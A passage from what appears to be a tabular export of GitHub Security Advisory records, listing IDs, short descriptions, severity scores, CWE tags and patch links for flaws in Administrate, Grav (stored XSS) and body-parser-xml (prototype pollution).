Whilst this does have a high-impact, to exploit this you need access to the Administrate dashboards, which we would expect to be behind authentication.
This is patched in wersion 0.13.0. | {'CVE-2020-5257'} | 2022-04-19T19:02:24Z | 2020-03-13T21:05:44Z | HIGH | 7.7 | {'CWE-943'} | {'https://github.com/thoughtbot/administrate/commit/3ab838b83c5f565fba50e0c6f66fe4517f98eed3', 'https://nvd.nist.gov/vuln/detail/CVE-2020-5257', 'https://github.com/advisories/GHSA-2p5p-m353-833w', 'https://github.com/thoughtbot/administrate/security/advisories/GHSA-2p5p-m353-833w'} | null | {'https://github.com/thoughtbot/administrate/commit/3ab838b83c5f565fba50e0c6f66fe4517f98eed3'} | {'https://github.com/thoughtbot/administrate/commit/3ab838b83c5f565fba50e0c6f66fe4517f98eed3'} |
GHSA | GHSA-r6hh-5g3q-wwgc | Stored Cross-site Scripting in grav | Grav prior to 1.7.31 is vulnerable to stored cross-site scripting. | {'CVE-2022-0970'} | 2022-03-28T22:27:37Z | 2022-03-16T00:00:45Z | HIGH | 7.1 | {'CWE-79'} | {'https://huntr.dev/bounties/dd436c44-cbf4-48ac-8817-3a24872534ec', 'https://github.com/advisories/GHSA-r6hh-5g3q-wwgc', 'https://github.com/getgrav/grav/commit/f19297d5f70476e7bedae9f2acef6b43615538b8', 'https://nvd.nist.gov/vuln/detail/CVE-2022-0970'} | null | {'https://github.com/getgrav/grav/commit/f19297d5f70476e7bedae9f2acef6b43615538b8'} | {'https://github.com/getgrav/grav/commit/f19297d5f70476e7bedae9f2acef6b43615538b8'} |
GHSA | GHSA-2ghc-6v89-pw9j | Prototype Pollution in body-parser-xml | body-parser-xml is vulnerable to Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') | {'CVE-2021-3666'} | 2021-10-06T22:03:36Z | 2021-09-14T20:25:35Z | HIGH | 7.6 | {'CWE-1321', 'CWE-915'} | {'https://github.com/advisories/GHSA-2ghc-6v89-pw9j', 'https://nvd.nist.gov/vuln/detail/CVE-2021-3666', 'https://huntr.dev/bounties/1-other-fiznool/body-parser-xml', 'https://github.com/fiznool/body-parser-xml/commit/d46ca622560f7c9a033cd9321c61e92558150d63'} | null | {'https://github.com/fiznool/body-parser-xml/commit/d46ca622560f7c9a033cd9321c61e92558150d63'} | {'https://github.com/fiznool/body-parser-xml/commit/d46ca622560f7c9a033cd9321c61e92558150d63'} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.